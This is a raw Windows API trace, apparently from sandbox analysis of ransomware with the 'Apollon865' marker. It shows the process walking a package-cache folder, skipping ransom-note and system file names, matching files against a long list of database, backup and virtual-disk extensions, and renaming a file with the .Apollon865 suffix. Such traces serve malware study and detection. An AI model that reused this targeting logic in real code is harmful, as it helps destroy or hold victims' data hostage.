	[0068.838] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0068.839] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0068.839] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0068.839] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0068.839] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.839] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0068.839] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0068.839] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0068.839] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0068.839] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0068.839] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0068.839] lstrlenW (lpString="cab1.cab") returned 8
	[0068.839] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned 118
	[0068.839] lstrcpyW (in: lpString1=0x119e6f2, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0068.839] lstrlenW (lpString="cab1.cab") returned 8
	[0068.839] lstrlenW (lpString="Apollon865") returned 10
	[0068.839] lstrlenW (lpString=".dll") returned 4
	[0068.840] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0068.840] lstrlenW (lpString=".lnk") returned 4
	[0068.840] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0068.840] lstrlenW (lpString=".ini") returned 4
	[0068.840] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0068.840] lstrlenW (lpString=".sys") returned 4
	[0068.840] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0068.840] lstrlenW (lpString="cab1.cab") returned 8
	[0068.840] lstrlenW (lpString="bak") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0068.840] lstrlenW (lpString="ba_") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0068.840] lstrlenW (lpString="dbb") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0068.840] lstrlenW (lpString="vmdk") returned 4
	[0068.840] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0068.840] lstrlenW (lpString="rar") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0068.840] lstrlenW (lpString="zip") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0068.840] lstrlenW (lpString="tgz") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0068.840] lstrlenW (lpString="vbox") returned 4
	[0068.840] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0068.840] lstrlenW (lpString="vdi") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0068.840] lstrlenW (lpString="vhd") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0068.840] lstrlenW (lpString="vhdx") returned 4
	[0068.840] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0068.840] lstrlenW (lpString="avhd") returned 4
	[0068.840] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0068.840] lstrlenW (lpString="db") returned 2
	[0068.840] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0068.840] lstrlenW (lpString="db2") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0068.840] lstrlenW (lpString="db3") returned 3
	[0068.840] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0068.841] lstrlenW (lpString="dbf") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0068.841] lstrlenW (lpString="mdf") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0068.841] lstrlenW (lpString="mdb") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0068.841] lstrlenW (lpString="sql") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0068.841] lstrlenW (lpString="sqlite") returned 6
	[0068.841] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0068.841] lstrlenW (lpString="sqlite3") returned 7
	[0068.841] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0068.841] lstrlenW (lpString="sqlitedb") returned 8
	[0068.841] lstrlenW (lpString="xml") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0068.841] lstrlenW (lpString="$er") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0068.841] lstrlenW (lpString="4dd") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0068.841] lstrlenW (lpString="4dl") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0068.841] lstrlenW (lpString="^^^") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0068.841] lstrlenW (lpString="abs") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0068.841] lstrlenW (lpString="abx") returned 3
	[0068.841] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0068.841] lstrlenW (lpString="accdb") returned 5
	[0068.841] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0068.841] lstrlenW (lpString="accdc") returned 5
	[0068.841] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0068.841] lstrlenW (lpString="accde") returned 5
	[0068.841] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0068.841] lstrlenW (lpString="accdr") returned 5
	[0068.841] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0068.841] lstrlenW (lpString="accdt") returned 5
	[0068.842] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0068.842] lstrlenW (lpString="accdw") returned 5
	[0068.842] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0068.842] lstrlenW (lpString="accft") returned 5
	[0068.842] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0068.842] lstrlenW (lpString="adb") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0068.842] lstrlenW (lpString="adb") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0068.842] lstrlenW (lpString="ade") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0068.842] lstrlenW (lpString="adf") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0068.842] lstrlenW (lpString="adn") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0068.842] lstrlenW (lpString="adp") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0068.842] lstrlenW (lpString="alf") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0068.842] lstrlenW (lpString="ask") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0068.842] lstrlenW (lpString="btr") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0068.842] lstrlenW (lpString="cat") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0068.842] lstrlenW (lpString="cdb") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0068.842] lstrlenW (lpString="ckp") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0068.842] lstrlenW (lpString="cma") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0068.842] lstrlenW (lpString="cpd") returned 3
	[0068.842] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0068.842] lstrlenW (lpString="dacpac") returned 6
	[0068.842] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0068.842] lstrlenW (lpString="dad") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0068.843] lstrlenW (lpString="dadiagrams") returned 10
	[0068.843] lstrlenW (lpString="daschema") returned 8
	[0068.843] lstrlenW (lpString="db-journal") returned 10
	[0068.843] lstrlenW (lpString="db-shm") returned 6
	[0068.843] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0068.843] lstrlenW (lpString="db-wal") returned 6
	[0068.843] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0068.843] lstrlenW (lpString="dbc") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0068.843] lstrlenW (lpString="dbs") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0068.843] lstrlenW (lpString="dbt") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0068.843] lstrlenW (lpString="dbv") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0068.843] lstrlenW (lpString="dbx") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0068.843] lstrlenW (lpString="dcb") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0068.843] lstrlenW (lpString="dct") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0068.843] lstrlenW (lpString="dcx") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0068.843] lstrlenW (lpString="ddl") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0068.843] lstrlenW (lpString="dlis") returned 4
	[0068.843] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0068.843] lstrlenW (lpString="dp1") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0068.843] lstrlenW (lpString="dqy") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0068.843] lstrlenW (lpString="dsk") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0068.843] lstrlenW (lpString="dsn") returned 3
	[0068.843] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0068.844] lstrlenW (lpString="dtsx") returned 4
	[0068.844] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0068.844] lstrlenW (lpString="dxl") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0068.844] lstrlenW (lpString="eco") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0068.844] lstrlenW (lpString="ecx") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0068.844] lstrlenW (lpString="edb") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0068.844] lstrlenW (lpString="epim") returned 4
	[0068.844] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0068.844] lstrlenW (lpString="fcd") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0068.844] lstrlenW (lpString="fdb") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0068.844] lstrlenW (lpString="fic") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0068.844] lstrlenW (lpString="flexolibrary") returned 12
	[0068.844] lstrlenW (lpString="fm5") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0068.844] lstrlenW (lpString="fmp") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0068.844] lstrlenW (lpString="fmp12") returned 5
	[0068.844] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0068.844] lstrlenW (lpString="fmpsl") returned 5
	[0068.844] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0068.844] lstrlenW (lpString="fol") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0068.844] lstrlenW (lpString="fp3") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0068.844] lstrlenW (lpString="fp4") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0068.844] lstrlenW (lpString="fp5") returned 3
	[0068.844] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0068.844] lstrlenW (lpString="fp7") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0068.845] lstrlenW (lpString="fpt") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0068.845] lstrlenW (lpString="frm") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0068.845] lstrlenW (lpString="gdb") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0068.845] lstrlenW (lpString="gdb") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0068.845] lstrlenW (lpString="grdb") returned 4
	[0068.845] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0068.845] lstrlenW (lpString="gwi") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0068.845] lstrlenW (lpString="hdb") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0068.845] lstrlenW (lpString="his") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0068.845] lstrlenW (lpString="ib") returned 2
	[0068.845] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0068.845] lstrlenW (lpString="idb") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0068.845] lstrlenW (lpString="ihx") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0068.845] lstrlenW (lpString="itdb") returned 4
	[0068.845] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0068.845] lstrlenW (lpString="itw") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0068.845] lstrlenW (lpString="jet") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0068.845] lstrlenW (lpString="jtx") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0068.845] lstrlenW (lpString="kdb") returned 3
	[0068.845] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0068.845] lstrlenW (lpString="kexi") returned 4
	[0068.845] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0068.845] lstrlenW (lpString="kexic") returned 5
	[0068.845] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0068.846] lstrlenW (lpString="kexis") returned 5
	[0068.846] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0068.846] lstrlenW (lpString="lgc") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0068.846] lstrlenW (lpString="lwx") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0068.846] lstrlenW (lpString="maf") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0068.846] lstrlenW (lpString="maq") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0068.846] lstrlenW (lpString="mar") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0068.846] lstrlenW (lpString="marshal") returned 7
	[0068.846] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0068.846] lstrlenW (lpString="mas") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0068.846] lstrlenW (lpString="mav") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0068.846] lstrlenW (lpString="maw") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0068.846] lstrlenW (lpString="mdbhtml") returned 7
	[0068.846] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0068.846] lstrlenW (lpString="mdn") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0068.846] lstrlenW (lpString="mdt") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0068.846] lstrlenW (lpString="mfd") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0068.846] lstrlenW (lpString="mpd") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0068.846] lstrlenW (lpString="mrg") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0068.846] lstrlenW (lpString="mud") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0068.846] lstrlenW (lpString="mwb") returned 3
	[0068.846] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0068.847] lstrlenW (lpString="myd") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0068.847] lstrlenW (lpString="ndf") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0068.847] lstrlenW (lpString="nnt") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0068.847] lstrlenW (lpString="nrmlib") returned 6
	[0068.847] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0068.847] lstrlenW (lpString="ns2") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0068.847] lstrlenW (lpString="ns3") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0068.847] lstrlenW (lpString="ns4") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0068.847] lstrlenW (lpString="nsf") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0068.847] lstrlenW (lpString="nv") returned 2
	[0068.847] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0068.847] lstrlenW (lpString="nv2") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0068.847] lstrlenW (lpString="nwdb") returned 4
	[0068.847] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0068.847] lstrlenW (lpString="nyf") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0068.847] lstrlenW (lpString="odb") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0068.847] lstrlenW (lpString="odb") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0068.847] lstrlenW (lpString="oqy") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0068.847] lstrlenW (lpString="ora") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0068.847] lstrlenW (lpString="orx") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0068.847] lstrlenW (lpString="owc") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0068.847] lstrlenW (lpString="p96") returned 3
	[0068.847] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0068.848] lstrlenW (lpString="p97") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0068.848] lstrlenW (lpString="pan") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0068.848] lstrlenW (lpString="pdb") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0068.848] lstrlenW (lpString="pdm") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0068.848] lstrlenW (lpString="pnz") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0068.848] lstrlenW (lpString="qry") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0068.848] lstrlenW (lpString="qvd") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0068.848] lstrlenW (lpString="rbf") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0068.848] lstrlenW (lpString="rctd") returned 4
	[0068.848] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0068.848] lstrlenW (lpString="rod") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0068.848] lstrlenW (lpString="rodx") returned 4
	[0068.848] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0068.848] lstrlenW (lpString="rpd") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0068.848] lstrlenW (lpString="rsd") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0068.848] lstrlenW (lpString="sas7bdat") returned 8
	[0068.848] lstrlenW (lpString="sbf") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0068.848] lstrlenW (lpString="scx") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0068.848] lstrlenW (lpString="sdb") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0068.848] lstrlenW (lpString="sdc") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0068.848] lstrlenW (lpString="sdf") returned 3
	[0068.848] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0068.848] lstrlenW (lpString="sis") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0068.849] lstrlenW (lpString="spq") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0068.849] lstrlenW (lpString="te") returned 2
	[0068.849] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0068.849] lstrlenW (lpString="teacher") returned 7
	[0068.849] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0068.849] lstrlenW (lpString="tmd") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0068.849] lstrlenW (lpString="tps") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0068.849] lstrlenW (lpString="trc") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0068.849] lstrlenW (lpString="trc") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0068.849] lstrlenW (lpString="trm") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0068.849] lstrlenW (lpString="udb") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0068.849] lstrlenW (lpString="udl") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0068.849] lstrlenW (lpString="usr") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0068.849] lstrlenW (lpString="v12") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0068.849] lstrlenW (lpString="vis") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0068.849] lstrlenW (lpString="vpd") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0068.849] lstrlenW (lpString="vvv") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0068.849] lstrlenW (lpString="wdb") returned 3
	[0068.849] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0068.849] lstrlenW (lpString="wmdb") returned 4
	[0068.849] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0068.850] lstrlenW (lpString="wrk") returned 3
	[0068.850] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0068.850] lstrlenW (lpString="xdb") returned 3
	[0068.850] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0068.850] lstrlenW (lpString="xld") returned 3
	[0068.850] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0068.850] lstrlenW (lpString="xmlff") returned 5
	[0068.850] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0068.850] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865") returned 136
	[0068.850] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
